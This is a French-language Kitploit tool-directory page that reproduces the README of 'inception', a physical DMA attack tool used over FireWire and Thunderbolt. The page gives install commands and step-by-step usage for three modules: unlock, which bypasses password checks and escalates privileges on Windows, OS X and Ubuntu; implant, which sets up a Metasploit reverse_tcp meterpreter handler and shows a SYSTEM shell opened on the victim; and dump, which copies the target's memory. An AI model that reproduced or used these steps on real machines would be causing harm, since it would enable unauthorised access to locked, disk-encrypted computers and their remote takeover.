Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
inception — Inception is a physical memory manipulation and hacking tool exploiting PCI-based DMA. The tool can attack over FireWire, Thunderbolt, ExpressCard, PC Card and any other PCI/PCIe interfaces. | Kitploit
Outils/GitHubGitHub/carmaa/inception
Privilege EscalationMemory ForensicsExploitationPost-ExploitationDigital ForensicsPenetration TestingHardware SecurityRed TeamingPayload Development
GitHubcarmaa/inception

inception

Inception is a physical memory manipulation and hacking tool exploiting PCI-based DMA. The tool can attack over FireWire, Thunderbolt, ExpressCard, PC Card and any other PCI/PCIe interfaces.

1.6k198il y a 1 anVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt

Note : Cet outil n'est plus en développement actif, veuillez consulter PCILeech à la place.

INCEPTION

Inception est un outil de manipulation et de piratage de la mémoire physique exploitant le DMA basé sur PCI. L'outil peut attaquer via FireWire, Thunderbolt, ExpressCard, PC Card et toute autre interface PCI/PCIe HW.

Inception vise à fournir un moyen relativement rapide, stable, simple et extensible de réaliser des piratages mémoire intrusifs et non intrusifs sur des ordinateurs en direct utilisant le DMA.

Comment ça fonctionne

Les modules d'Inception fonctionnent comme suit : en présentant un répertoire d'unité Serial Bus Protocol 2 (SBP-2) à la machine victime via une interface IEEE1394 FireWire, le système d'exploitation victime pense qu'un périphérique SBP-2 s'est connecté au port FireWire. Étant donné que les périphériques SBP-2 utilisent l'accès direct à la mémoire (DMA) pour des transferts de données volumineux et rapides (par exemple, disques durs FireWire et caméscopes numériques), la victime abaisse ses défenses et active le DMA pour le périphérique. L'outil a désormais un accès complet en lecture/écriture aux 4 Go inférieurs de la RAM de la victime.

Une fois le DMA accordé, l'outil parcourt les pages mémoire disponibles à la recherche de signatures à certains offsets dans le code du système d'exploitation. Une fois trouvées, l'outil manipule ce code. Par exemple, dans le module unlock, l'outil court-circuite le module d'authentification par mot de passe du système d'exploitation qui est déclenché si un mot de passe incorrect est saisi.

Après avoir exécuté ce module, vous devriez pouvoir vous connecter à la machine victime en utilisant n'importe quel mot de passe.

Une analogie pour cette opération est de planter une idée dans la mémoire de la machine : l'idée que chaque mot de passe est correct. En d'autres termes, l'équivalent d'une [inception mémoire] 1.

Inception est gratuit comme une bière et c'est un projet personnel.

Génial ! Mais pourquoi ?

Les experts en criminalistique, les gouvernements et les agences à acronymes de trois lettres utilisent déjà [des outils similaires] 2. Donc si vous êtes un dissident ou si vous faites face à un régime oppressif, cet outil illustre pourquoi la SÉCURITÉ OPÉRATIONNELLE (OPSEC) est importante. Ne laissez jamais votre ordinateur portable hors de vue.

Mises en garde

[OS X > 10.7.2] 6 et [Windows > 8.1] 7 désactivent le DMA FireWire lorsque l'utilisateur a verrouillé le système d'exploitation et empêchent ainsi inception. L'outil fonctionnera toujours tant qu'un utilisateur est connecté. Cependant, c'est un scénario d'attaque moins probable dans la réalité.

De plus, [OS X Mavericks > 10.8.2 sur Ivy Bridge (>= Macs 2012)] 8 ont activé VT-D, bloquant efficacement les requêtes DMA et contrecarrant tous les modules inception même lorsque l'utilisateur est connecté. Recherchez les entrées vtd[0] fault dans votre journal/console.

Bien que ces deux mises en garde réduiront progressivement le nombre de scénarios où cet outil est utile, en mars 2015, [70 % des machines sont encore vulnérables] 9.

Données clés

  • Version : 0.4.2
  • Licence : GPL
  • Auteur : Carsten Maartmann-Moe ([email protected])
  • Twitter : @MaartmannMoe
  • Source : https://github.com/carmaa/inception

L'outil utilise la bibliothèque libforensic1394 gracieusement fournie par Freddie Witherden sous licence LGPL.

Prérequis

Inception nécessite :

  • Matériel :
    • Machine attaquante : Linux ou Mac OS X (machine hôte / attaquante) avec une interface FireWire, que ce soit via un port FireWire natif, un port d'extension ExpressCard/PCMCIA ou un adaptateur Thunderbolt vers FireWire.
    • Machine victime : Une interface FireWire ou Thunderbolt, ou un port d'extension ExpressCard/PCMCIA

Linux est actuellement recommandé côté attaquant en raison des interfaces FireWire boguées sur OS X. Notez que la connexion directe ThunderBolt à ThunderBolt ne fonctionne pas, vous avez besoin d'un adaptateur FireWire. Les résultats peuvent varier si vous tentez d'utiliser Thunderbolt sous Linux.

  • Logiciel :
    • Python 3
    • git
    • gcc (incl. g++)
    • cmake
    • pip (pour la résolution automatique des dépendances)
    • [libforensic1394] 3
    • msgpack

Installation

Sur les distributions basées sur Debian, les commandes d'installation peuvent être résumées comme suit (appliquez sudo si nécessaire si vous n'êtes pas root) :

root@kitploit:~
apt-get install git cmake g++ python3 python3-pip

Sur OS X, vous pouvez installer les prérequis de l'outil avec [homebrew] 4 :

root@kitploit:~
brew install git cmake python3

Après avoir installé les prérequis, téléchargez et installez libforensic1394 :

root@kitploit:~
wget https://freddie.witherden.org/tools/libforensic1394/releases/libforensic1394-0.2.tar.gz -O - | tar xz
cd libforensic1394-0.2
cmake CMakeLists.txt
make install
cd python
python3 setup.py install

Téléchargement et installation d'Inception

root@kitploit:~
git clone git://github.com/carmaa/inception.git
cd inception
./setup.py install

Le script d'installation devrait pouvoir installer les dépendances si vous avez pip installé.

Utilisation générale

  1. Connectez la machine attaquante (hôte) et la victime (cible) avec un câble FireWire
  2. Lancez Inception

Tapez simplement :

root@kitploit:~
incept [nom du module]

Pour une description plus complète et à jour, veuillez exécuter :

root@kitploit:~
incept -h

ou consultez la [page d'accueil de l'outil] 5.

Modules

Depuis la version 0.4.0, Inception a été modularisé. Les modules actuels et leurs fonctionnalités sont décrits ci-dessous.

Pour des options détaillées sur l'utilisation, exécutez :

root@kitploit:~
incept [nom du module] -h

Unlock

Le module unlock peut déverrouiller (n'importe quel mot de passe accepté) et élever les privilèges en Administrateur/root sur presque* toute machine allumée à laquelle vous avez un accès physique. Le module est principalement conçu pour faire ses miracles sur les ordinateurs qui utilisent le chiffrement complet du disque tel que BitLocker, FileVault, TrueCrypt ou Pointsec. Il existe de nombreuses autres (et meilleures) façons de pirater une machine qui n'utilise pas le chiffrement.

Le module unlock est stable sur les machines disposant de 4 Gio de mémoire principale ou moins. Si votre cible en a plus, vous devez avoir de la chance pour trouver les signatures mappées sur une trame de page mémoire physique que l'outil peut atteindre.

Dans cette version, il peut déverrouiller les systèmes d'exploitation x86 et x64 suivants :

(1) : Voir les mises en garde ci-dessus.

D'autres distributions Linux utilisant l'authentification basée sur PAM peuvent également fonctionner avec les signatures Ubuntu.

Le module permet également une élévation de privilèges efficace, par exemple via les commandes runas ou sudo -s, respectivement.

Exécution

Pour déverrouiller, tapez simplement :

root@kitploit:~
incept unlock

 _|  _|      _|    _|_|_|  _|_|_|_|  _|_|_|    _|_|_|  _|    _|_|    _|      _|
 _|  _|_|    _|  _|        _|        _|    _|    _|    _|  _|    _|  _|_|    _|
 _|  _|  _|  _|  _|        _|_|_|    _|_|_|      _|    _|  _|    _|  _|  _|  _|
 _|  _|    _|_|  _|        _|        _|          _|    _|  _|    _|  _|    _|_|
 _|  _|      _|    _|_|_|  _|_|_|_|  _|          _|    _|    _|_|    _|      _|

v.0.4.0 (C) Carsten Maartmann-Moe 2014
Download: https://github.com/carmaa/inception | Twitter: @MaartmannMoe

[?] Will potentially write to file. OK? [y/N] y
[*] Available targets (known signatures):

[1] Windows 8 MsvpPasswordValidate unlock/privilege escalation
[2] Windows 7 MsvpPasswordValidate unlock/privilege escalation
[3] Windows Vista MsvpPasswordValidate unlock/privilege escalation
[4] Windows XP MsvpPasswordValidate unlock/privilege escalation
[5] Mac OS X DirectoryService/OpenDirectory unlock/privilege escalation
[6] Ubuntu libpam unlock/privilege escalation
[7] Linux Mint libpam unlock/privilege escalation

[?] Please select target (or enter 'q' to quit): 2
[*] Selected target: Windows 7 MsvpPasswordValidate unlock/privilege escalation
[=============>                                                ]  227 MiB ( 22%)
[*] Signature found at 0xe373312 in page no. 58227
[*] Patch verified; successful
[*] BRRRRRRRAAAAAWWWWRWRRRMRMRMMRMRMMMMM!!!

Implant

Le module implant implante une charge utile Metasploit (uniquement en mémoire) directement dans la mémoire volatile de la machine cible. Il s'intègre avec MSF via le démon msfrpcd inclus dans toutes les versions de Metasploit.

La version actuelle ne fonctionne qu'à titre de preuve de concept sur Windows 7 SP1 x86. Aucun autre OS, version ou architecture n'est supporté, et il n'y a aucune garantie qu'ils le seront à l'avenir.

Exécution

Pour l'utiliser, démarrez msfrpcd :

root@kitploit:~
msfrpcd -P [mot de passe]

Lancez ensuite inception dans un autre terminal :

root@kitploit:~
incept implant --msfpw [mot de passe] --msfopts [options]

Par exemple, pour créer un shell meterpreter reverse TCP de la machine cible vers votre machine attaquante, démarrez d'abord le démon msfrpcd, puis lancez une console à l'écoute des rappels.

root@kitploit:~
msfrpcd -P password
msfconsole

Dans la console, nous configurons l'extrémité de réception de la charge utile. Nous définissons l'option EXITFUNC sur thread pour garantir que le processus cible reste en vie si quelque chose tourne mal :

root@kitploit:~
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 172.16.1.1
set EXITFUNC thread
set ExitOnSession false
exploit -j

Ensuite, dans un autre terminal, nous lançons Inception :

root@kitploit:~
incept implant --msfpw password --msfopts LHOST=172.16.1.1

 _|  _|      _|    _|_|_|  _|_|_|_|  _|_|_|    _|_|_|  _|    _|_|    _|      _|
 _|  _|_|    _|  _|        _|        _|    _|    _|    _|  _|    _|  _|_|    _|
 _|  _|  _|  _|  _|        _|_|_|    _|_|_|      _|    _|  _|    _|  _|  _|  _|
 _|  _|    _|_|  _|        _|        _|          _|    _|  _|    _|  _|    _|_|
 _|  _|      _|    _|_|_|  _|_|_|_|  _|          _|    _|    _|_|    _|      _|

v.0.4.0 (C) Carsten Maartmann-Moe 2014
Download: https://github.com/carmaa/inception | Twitter: @MaartmannMoe

[?] Will potentially write to file. OK? [y/N] y
[!] This module currently only work as a proof-of-concept against Windows 7 SP1
    x86. No other OSes, versions or architectures are supported, nor is there
    any guarantee that they will be supported in the future.
[?] What MSF payload do you want to use? windows/meterpreter/reverse_tcp
[*] Selected options:
[*] LPORT: 4444
[*] LHOST: 172.16.1.1
[*] EXITFUNC: thread
[*] Stage 1: Searcing for injection point
[================================>                             ]  537 MiB ( 53%)
[*] Signature found at 0x219d118c in page no. 137681
[*] Patching at 0x219d118c
[\] Waiting to ensure stage 1 execution
[*] Restoring memory at initial injection point
[*] Stage 2: Searching for page allocated in stage 1
[=========================>                                    ]  434 MiB ( 42%)
[*] Signature found at 0x1b2d9000 in page no. 111321
[*] Patching at 0x1b2d9000
[*] Patch verified; successful
[*] BRRRRRRRAAAAAWWWWRWRRRMRMRMMRMRMMMMM!!!

Dans votre console MSF, vous devriez voir quelque chose comme ceci :

root@kitploit:~
msf exploit(handler) > [*] Sending stage (769536 bytes) to 172.16.78.200
[*] Meterpreter session 1 opened (172.16.1.1:4444 -> 172.16.78.200:49178) at 2014-08-30 16:23:31 +0200

msf exploit(handler) > sessions

Active sessions
===============

  Id  Type                   Information                            Connection
  --  ----                   -----------                            ----------
  1   meterpreter x86/win32  NT AUTHORITY\SYSTEM @ WIN-11FMQRBAMJ6  172.16.1.1:4444 -> 172.16.78.200:49178 (172.16.78.200)

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Dump

Le module dump facilite la vidange de la mémoire de la cible vers la machine attaquante.

Exécution

root@kitploit:~
incept dump

 _|  _|      _|    _|_|_|  _|_|_|_|  _|_|_|    _|_|_|  _|    _|_|    _|      _|
 _|  _|_|    _|  _|        _|        _|    _|    _|    _|  _|    _|  _|_|    _|
 _|  _|  _|  _|  _|        _|_|_|    _|_|_|      _|    _|  _|    _|  _|  _|  _|
 _|  _|    _|_|  _|        _|        _|          _|    _|  _|    _|  _|    _|_|
 _|  _|      _|    _|_|_|  _|_|_|_|  _|          _|    _|    _|_|    _|      _|

v.0.4.0 (C) Carsten Maartmann-Moe 2014
Download: https://github.com/carmaa/inception | Twitter: @MaartmannMoe

[*] Dumping from 0x0 to 0x40000000, a total of 1 GiB:
[==============================================================] 1024 MiB (100%)
[*] Dumped memory to file memdump_0x0-0x40000000_20140830-174305.bin
[*] BRRRRRRRAAAAAWWWWRWRRRMRMRMMRMRMMMMM!!!

Bugs connus / mises en garde

Veuillez consulter les commentaires en haut et la [page d'accueil de l'outil] 5.

Dépannage

Veuillez consulter la [page d'accueil de l'outil] 5.

Fonctionnalités prévues

  • Implants fiables sur x64
  • Contournement VT-D
  • Implants noyau (ring 0)
  • Plus de signatures

Historique de développement

  • 0.0.1 - Première version, supporte le déverrouillage de base de Windows XP SP3, Vista et 7, Mac OS X et Ubuntu Gnome
  • 0.0.2 - Ajout de signatures pour XP SP3 précoce, et Windows 7 x86 et x64 SP1
  • 0.0.3 - Ajout de quelques signatures (merci Tekkenhead) et gestion des erreurs
  • 0.0.4 - Ajout de businfo pour afficher les périphériques FireWire connectés ainsi que des capacités de vidage mémoire
  • 0.0.5 - Amélioration des capacités de vidage mémoire et ajout d'un catalogue d'échantillons
  • 0.0.6 - Ajout de tests unitaires
  • 0.0.7 - Mise à jour des signatures Ubuntu et élévation de privilèges - merci Adel Khaldi d'Algérie
  • 0.0.8 - Correction des correctifs de déverrouillage et d'élévation de privilèges Ubuntu - un seul correctif pour une double action
  • 0.1.0 - Première version mineure ! Ajout de signatures pour OS X et Vista, plus pas mal de corrections de bugs
  • 0.1.1 - Ajout de signatures pour Ubuntu 12.04 LTS
  • 0.1.2 - Correction de plusieurs bugs
  • 0.1.3 - Correction d'un bug de signature OS X 10.6.8 x64
  • 0.1.4 - Ajout d'un mode manuel facilitant le test de nouvelles signatures
  • 0.2.0 - Ajout de signatures pour OS X Mountain Lion (10.8) et Windows 8
  • 0.2.1 - Ajout de signatures pour Ubuntu 12.10
  • 0.2.2 - Ajout de signatures pour Linux Mint
  • 0.2.3 - Nettoyage général du code, et sortie plus agréable et cohérente
  • 0.2.4 - Ajout d'une barre de progression
  • 0.2.5 - Plus besoin d'être root pour exécuter l'outil
  • 0.2.6 - Corrections de bugs
  • 0.3.0 - Ajout du support des cibles Ubuntu 13.04
  • 0.3.1 - Ajout du support d'OS X Mavericks et Windows 8.1
  • 0.3.2 - Corrections de bugs et support d'Ubuntu 13.10
  • 0.3.3 - Corrections de bugs concernant la sortie et la gestion des erreurs
  • 0.3.4 - Maestro !
  • 0.3.5 - Ajout de signatures Ubuntu 10.10 et 10.04 x86
  • 0.4.0 - Restructuration et réécriture complètes. Ajout du module implant
  • 0.4.1 - Fusion du support de l'interface SLOTSCREAMER
  • 0.4.2 - Nouvelles signatures

Avertissement

Ne faites pas le mal avec cet outil. Aussi, je suis un pentester, pas un développeur. Donc si vous voyez du code bizarre qui dérange vos sens de pureté pythonique, envoyez-moi un message sur comment je peux l'améliorer. Ou mieux encore, forkez mon code, modifiez-le et soumettez une pull request.

Télécharger l’outil
OSVersionDéverrouiller écran verrouilléÉlever les privilèges
Windows 88.1Oui (1)Oui (1)
Windows 88.0OuiOui
Windows 7SP1OuiOui
Windows 7SP0OuiOui
Windows VistaSP2OuiOui
Windows VistaSP1OuiOui
Windows VistaSP0OuiOui
Windows XPSP3OuiOui
Windows XPSP2OuiOui
Windows XPSP1
Windows XPSP0
Mac OS XMavericksOui (1)Oui (1)
Mac OS XMountain LionOui (1)Oui (1)
Mac OS XLionOui (1)Oui (1)
Mac OS XSnow LeopardOuiOui
Mac OS XLeopard
UbuntuSaucyOuiOui
UbuntuRaringOuiOui
UbuntuQuantalOuiOui
UbuntuPreciseOuiOui
UbuntuOneiricOuiOui
UbuntuNattyOuiOui
Linux Mint13OuiOui
Linux Mint12OuiOui
Linux Mint12OuiOui